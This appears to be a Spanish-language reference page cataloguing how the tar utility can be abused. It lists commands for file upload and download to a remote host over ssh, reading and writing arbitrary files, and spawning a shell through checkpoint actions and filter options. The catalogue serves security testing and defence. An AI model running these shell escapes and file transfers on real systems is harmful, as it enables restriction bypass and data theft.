./tar --examples
Funciones y ejemplos de uso
download
tar xvf [email protected]:/path/to/input-file.tar --rsh-command=/bin/ssh
file-read
tar cf /dev/stdout /path/to/input-file -I 'tar xO'
file-write
echo DATA >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@
shell
tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"'
echo '/bin/sh 0<&1' >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar xf /path/to/temp-file.tar --to-command /bin/sh
upload
tar cvf [email protected]:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh
./related --binary=tar
Binarios relacionados
Comparten al menos una función con tar.